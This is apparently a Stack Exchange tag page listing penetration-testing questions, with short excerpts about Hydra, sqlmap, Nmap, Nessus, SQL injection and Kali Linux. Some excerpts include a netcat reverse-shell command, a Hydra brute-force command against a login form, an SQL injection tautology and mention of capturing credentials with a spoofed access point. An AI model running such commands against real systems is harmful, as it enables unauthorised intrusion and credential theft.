Tagged Questions

An attempt to penetrate a system's security in an effort to evaluate the protections in place.

learn more… | top users | synonyms (2)

0
votes
0answers
25 views

Deliberately-Vulnerable webapp for security education [duplicate]

A year or so ago I was playing around with an apache webapp I found that was designed for web exploitation practice. It was simple to use, I just downloaded the file, unzipped it, and placed it in the ...
1
vote
1answer
435 views

Hydra gives wrong passwords

I've been trying to use hydra (educational way) but with no success. The site method is http-post but performed by ajax (should it be a problem? I think not). After execute the command I got an output ...
1
vote
1answer
158 views

Problems with l0phtcrack

I recently wrote a website for my company and have been asked to Pen test it as well as the server. Have run SQL map and no vulnerabilities there, however I want to check if my hash and things are ...
2
votes
2answers
738 views

Major differences between Kali and SecurityOnion

Curious about the major differences between Kali Linux and SecurityOnion. Do you think it would be easy or useful to replicate what has been done with SecurityOnion on Kali? Why is there such a ...
2
votes
2answers
121 views

Where is the Line? [closed]

A comment posted on one of my questions the other day raised a question in my head. I know that many site admins appreciate users reporting bugs and security holes, and as a user I appreciate people ...
2
votes
2answers
425 views

API Security Testing Methodologies

I have been encountering more and more clients needing their API (usually REST) endpoints tested for vulnerabilities and wanted to reach out to see if anyone has some recommendations beyond what I ...
2
votes
2answers
460 views

CentOS for security testing?

I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
-2
votes
1answer
267 views

Injected Images

I want to learn all about that. How can we inject code into an image? Is the code must be php? Or is javascript or HTML works too? How I find documentation about this article? I'm a newbie about ...
8
votes
2answers
370 views

Are userid and password needed in order to pentest a website?

We are a company that has many web applications developed in ASP.NET. Our Internet service provider (Telefonica) wants to test our web sites looking for vulnerabilities. For that, they are asking us ...
2
votes
2answers
140 views

Is sqlmap tracable?

The question is simple. For example, we access a database of any website. And looked up for datas. So, is the website owner can see me? If he/she can see, how can i protect? [These are for security ...
0
votes
1answer
69 views

How can we get the second id for sqlmap [closed]

I'm trying to find some vulnerable points in my website. My website like, www.example.com/index.php?menu_id=1002&news_id=5. When i trying to find these points with sql map, it tries for menu id. ...
4
votes
1answer
920 views

Why does Directory traversal attack %C0%AF work?

Introduction: I am trying to learn the basics of Directory Traversal. Question: While trying to understand the 2-Byte Unicode conversion of characters, I came across this_SANS ARTICLE that explains ...
4
votes
2answers
431 views

Builder vs. Breaker - Do developers make good pen testers & vice versa

Do developers necessarily make good penetration testers & vice versa? The reason I ask is that I find I have much more of a knack for figuring out how an existing piece of software works and can ...
0
votes
1answer
1k views

How to enable a http post form penetration test?

I don't get the correct results and I'm not sure what I'm doing wrong: $ ./hydra -l admin -x 3:9:a http://localhost http-post-form "/admin/login:j_username=^USER^&j_password=^PASS^:failed" -s ...
2
votes
1answer
2k views

Where does Active Directory store user hashes?

During a penetration test for a client, having an infrastructure with multiple (5) Active Directory Servers (Win Serv 2008 R2)... I found a nice exploit to drop a system shell in one of the servers, ...
5
votes
5answers
468 views

Penetration testing reported ZERO vulnerabilities. Does this mean my web app is secure?

I've spent many hours on whitebox testing to make sure my code was safe. From a theoretical standpoint, the code SHOULD be safe. I then used several widely known testing tools (including one that ...
3
votes
4answers
782 views

What are good resources to do hands-on practice on network penetration testing?

Can anyone provide a good list of resources to learn network penetration testing? I am specifically looking for those having hands on exercises (kind of virtual labs/ISOs) which are free. I know ...
1
vote
2answers
316 views

Is exploit researching different from penetration testing

I'm confused by some terminology - reverse engineering seems to me to be pretty similar to exploit researching. I mean if you can reverse one program probably you will be able to find a vulnerability, ...
1
vote
2answers
4k views

Missing Secure Attribute in Encrypted Session (SSL) Cookie Recheck

I tested a web application with a commercial tool (IBM AppScan) for penetration test. I found a bug which is related to Missing Secure Attribute in Encrypted Session (SSL) Cookie. The web ...
3
votes
2answers
431 views

Regarding SQL Injection at Back End?

I have logged into SQL Server 2008 Database and executed following query: select * from USER_Main_INFO_Name where userid ='' or 'x'='x' After executing the query Database has given total user list. ...
-6
votes
1answer
213 views

How can I succesfully pentest site with two factor authentication? [closed]

I want to use a commercial, automated tool but it cannot login successfully because the website requires a two factor authentication process using SMS. For testing, the SMS message is sent to another ...
2
votes
3answers
2k views

Regarding SQL Inject me Firefox add-on?

Using SQL Inject Me Firefox add-on,I have selected the check-boxes then click on Execute button of SQL Inject Me tool. After getting result, it has displayed following responses Server Status Code: ...
0
votes
1answer
65 views

Is scanning via source ports still relevant/advised?

Does it still make sense to scan using a source port with Nmap when doing host or service discovery? This would have made sense back in the day, but with statefull firewalls being prevalent, where ...
1
vote
1answer
2k views

Nessus No host data is available for this scan error

I encountered an error in Nessus result. Error: No host data is available for this scan. I want to scan ip 192.16x.x.x at Nessus.I scan this ip with nmap.Only 2 tcp port is open in this ip ...
1
vote
3answers
256 views

What is best method for retest blind sql vulnerability

I tested web site application with commercial automated tool.There are some blind sql injection.I want to retest this results .Is there any good method for test blind sql injection with tool or ...
0
votes
1answer
516 views

Import nmap scan results into OpenVAS

I have recently been introduced to OpenVAS for scanning our network at work. I am familiar with nmap, and I am happy with it's performance when used stand-alone from the cli, through iptraf I can see ...
0
votes
3answers
210 views

How to retrieve the admin's password of a webapp?

I'm doing a pentesting example on a web app and I have dumped all the database. I have a table with the users in plaintext and the passwords hashed. I have to find the admin's password (I know that ...
1
vote
2answers
194 views

How do arbitrary payloads execute on the remote machine?

I understand executing something like a reverse TCP bind via shell relies on resources being available on the victim machine... and in the case of running a, shall we say, Ruby script from the command ...
2
votes
3answers
730 views

Verifying NLA support on Remote Desktop

What is the best way to verify if an MSRDP server has NLA enabled or not? My understand is that if enabled, it will not show a graphical screen when trying to connect, but ask for credentials first. ...
2
votes
1answer
232 views

Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
1
vote
1answer
3k views

Force a specific SSL cipher

Is there a tool or browser addon that will allow you to connect to a HTTPS website using a specific SSL cipher, and view the output? This would be useful when doing a vulnerability analysis and ...
0
votes
1answer
773 views

Using timeouts to automatically detect blind sql injection exploits

I'm working on a penetration testing tool, and I have error-based sql injection pretty much covered, but I was wondering, is it possible to use timeouts, along with built in sql commands to detect an ...
5
votes
3answers
559 views

What is a pen tester?

I asked two pen testers what exactly it is that they do. One of them has told me that all he ever does is try to find exploits in the software in order to gain access to internal servers and nothing ...
0
votes
1answer
984 views

Hydra gives wrong answers

Problem: Hydra keeps giving me incorrect passwords every time. I'm using brute-force via Hydra to guess the correct password on a certain website. First of all I used BurpSuite to intercept the page ...
2
votes
1answer
179 views

Pentesting Cleanup

I've recently discovered a backdoor shell that was created via file injection on a public facing website. After much digging, I found the creation date of this file to be around the same time ...
3
votes
2answers
362 views

Determing live hosts past a restrictive firewall with nmap

Sometimes when I am doing an external security assesment, I run into hosts that have the following restrictions/configuration: All ICMP traffic is blocked An IDS or some device returns all ports as ...
2
votes
0answers
246 views

How do I convert from this weird John/Asleap format to lc (for HashCat)?

I'm trying to setup a system for pen-testing. I'm using the FreeRadius-WPE patch to collect Challenges/Requests from people who connect to my spoofed AP instead of the actual network. Here is the ...
2
votes
3answers
787 views

Self-teach pentesting/CEH skills ethically

I am a Software Engineer currently and have done quite a bit of systems work as well. I love the idea of Penetration Testing and would love to work towards becoming a pentester/Certified Ethical ...
-2
votes
2answers
24k views

backtrack or kali linux ??? Which is best for a beginner pen tester ? [closed]

I am using backtrack right now but i also wish to switch to kali linux if its more interactive. Because i am just a beginner pen tester. I tried with both bt4 and bt5, but novice in kali linux.
0
votes
4answers
1k views

How can I test that I have correctly disabled unnecessary HTTP methods?

I am making a web-based application and I disabled some of the HTTP methods which are not necessary for the website (specifically, OPTIONS, HEAD and TRACE). I put this in the httpd.conf of my xampp ...
2
votes
5answers
2k views

Nmap reporting almost every port as open

I have noticed during some assesments when doing a TCP port scan, Nmap will report almost every port as open for a machine. Using for example nmap -sS -PN -T4 target -p0-65535, over 20,000 ports will ...
0
votes
2answers
730 views

Determining false positives when scanning for live hosts with Nmap

When doing a vulnerability assessment on a large network, it seems general practice to determine which hosts on the network are live. This can be done in various ways. From what I have read it is ...
-2
votes
1answer
63 views

Should I do science of computing or systems analyst? [closed]

I want to become a federal analyst of cyber crimes and I dont't know what's the right university course for me, I would like to know what's the cons and pros of choosing one or another course and ...
0
votes
5answers
4k views

Can I use Kali Linux when I learn Backtrack well?

I'm new to security issues and I'm almost buying a course at ELearningSec(begginners course,of course), I will in a company and want to learn about offensive and defensive skills to improve the ...
15
votes
7answers
2k views

Why don't banks get hacked?

From reading a lot of info on this website I came to the conclusion that if someone with enough skill really badly wants to gain access somewhere, then there is absolutely nothing stopping them from ...
9
votes
2answers
859 views

Black-box fuzzing a TCP Port running an unknown applicaiton

I'm looking for any guidance around testing a service I've found running on a target server. I'm doing a 'black-box' pen-test and the company is one of those 'I-don't-want-to-tell-you-anything' types ...
5
votes
2answers
140 views

How to manage pen testing byproducts?

Often when doing a pen test you need to hammer certain parts of the site that might be visible to other users. If, for example, you suspect that a comment section is vulnerable to XSS, you might ...
2
votes
1answer
119 views

Helping developers find logic and authorisation flaws

Professional penetration testers are usually good at finding all sorts of vulnerabilities, including logic flaws, that are highly-specific to the site being tested. However, being a manual activity, ...
2
votes
1answer
1k views

How to use sqlmap to perform SQL injection on a clean URL?

I am learning to use sqlmap and came across an application that has Clean URLs. Clean URL example //my url.net/project/public/#questions/question/edit/id/122/answer/1, here MVC framework is used. ...
1
vote
1answer
237 views

Reflected XSS - Automatic understanding of filters

I'm currently facing this possible reflected XSS vulnerability on a webapp: URL = http://www.test.com/login/?login=[PAYLOAD] When a user clicks on this link, it displays a login page that includes ...